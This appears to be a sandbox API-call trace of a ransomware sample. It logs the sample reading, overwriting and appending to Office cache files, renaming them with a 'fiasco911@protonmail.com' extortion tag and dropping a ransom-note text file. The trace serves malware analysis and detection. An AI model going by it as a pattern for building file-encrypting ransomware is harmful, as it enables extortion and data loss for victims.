[0043.589] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0043.590] GetProcessHeap () returned 0x2e0000
[0043.590] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0043.590] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0043.597] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0043.597] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0043.597] GetProcessHeap () returned 0x2e0000
[0043.597] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0043.598] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0043.598] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0043.605] CloseHandle (hObject=0x110) returned 1
[0044.981] GetProcessHeap () returned 0x2e0000
[0044.981] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0044.981] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0044.981] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0044.981] GetProcessHeap () returned 0x2e0000
[0044.981] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0044.982] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1
[0044.982] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 85
[0044.982] StrStrIW (lpFirst="Proof.msi", lpSrch="SDfghjkl") returned 0x0
[0044.982] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0044.982] GetProcessHeap () returned 0x2e0000
[0044.982] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0044.982] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0044.984] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0044.985] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0044.985] GetProcessHeap () returned 0x2e0000
[0044.985] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0044.985] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0044.985] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0044.986] CloseHandle (hObject=0x110) returned 1
[0044.997] GetProcessHeap () returned 0x2e0000
[0044.997] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0044.998] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0044.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0044.999] GetProcessHeap () returned 0x2e0000
[0044.999] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0044.999] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1
[0045.000] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 85
[0045.000] StrStrIW (lpFirst="Proof.xml", lpSrch="SDfghjkl") returned 0x0
[0045.000] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0045.000] GetProcessHeap () returned 0x2e0000
[0045.000] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0045.000] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x5b1, lpOverlapped=0x0) returned 1
[0045.002] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffffa4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0045.002] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x5b1, lpOverlapped=0x0) returned 1
[0045.002] GetProcessHeap () returned 0x2e0000
[0045.002] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0045.002] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0045.002] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0045.002] CloseHandle (hObject=0x110) returned 1
[0045.005] GetProcessHeap () returned 0x2e0000
[0045.005] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0045.005] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0045.005] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0045.006] GetProcessHeap () returned 0x2e0000
[0045.006] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0045.006] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0
[0045.006] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Instructions with your files.txt") returned 108
[0045.006] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0045.006] WriteFile (in: hFile=0x110, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecee84*=0x54, lpOverlapped=0x0) returned 1
[0045.007] WriteFile (in: hFile=0x110, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecee84*=0x18, lpOverlapped=0x0) returned 1
[0045.007] WriteFile (in: hFile=0x110, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecee84*=0xc, lpOverlapped=0x0) returned 1
[0045.007] WriteFile (in: hFile=0x110, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecee84*=0x16, lpOverlapped=0x0) returned 1
[0045.007] WriteFile (in: hFile=0x110, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecee84*=0x23, lpOverlapped=0x0) returned 1
[0045.008] CloseHandle (hObject=0x110) returned 1
[0045.008] FindClose (in: hFindFile=0x300570 | out: hFindFile=0x300570) returned 1
[0045.008] GetProcessHeap () returned 0x2e0000
[0045.008] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0045.008] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1
[0045.008] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned 75
[0045.008] GetProcessHeap () returned 0x2e0000
[0045.008] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0045.008] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*") returned 77
[0045.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x300570
[0045.008] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\.") returned 77
[0045.008] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0045.008] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\..") returned 78
[0045.008] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
[0045.008] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 85
[0045.008] StrStrIW (lpFirst="Proof.cab", lpSrch="SDfghjkl") returned 0x0
[0045.008] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0045.009] GetProcessHeap () returned 0x2e0000
[0045.009] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0045.009] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0045.011] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0045.011] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0045.011] GetProcessHeap () returned 0x2e0000
[0045.011] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0045.012] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0045.012] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0045.014] CloseHandle (hObject=0x110) returned 1
[0047.015] GetProcessHeap () returned 0x2e0000
[0047.015] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0047.015] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0047.015] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0047.015] GetProcessHeap () returned 0x2e0000
[0047.016] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0047.016] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1
[0047.016] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 85
[0047.016] StrStrIW (lpFirst="Proof.msi", lpSrch="SDfghjkl") returned 0x0
[0047.016] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0047.018] GetProcessHeap () returned 0x2e0000
[0047.018] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0047.018] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0047.020] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0047.020] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0047.021] GetProcessHeap () returned 0x2e0000
[0047.021] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0047.021] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0047.021] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0047.023] CloseHandle (hObject=0x110) returned 1
[0047.034] GetProcessHeap () returned 0x2e0000
[0047.034] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0047.034] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0047.034] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0047.036] GetProcessHeap () returned 0x2e0000
[0047.036] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0047.036] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1
[0047.036] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 85
[0047.036] StrStrIW (lpFirst="Proof.xml", lpSrch="SDfghjkl") returned 0x0
[0047.036] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0047.036] GetProcessHeap () returned 0x2e0000
[0047.036] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0047.036] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x5b2, lpOverlapped=0x0) returned 1
[0047.047] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffffa4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0047.047] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x5b2, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x5b2, lpOverlapped=0x0) returned 1
[0047.047] GetProcessHeap () returned 0x2e0000
[0047.047] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
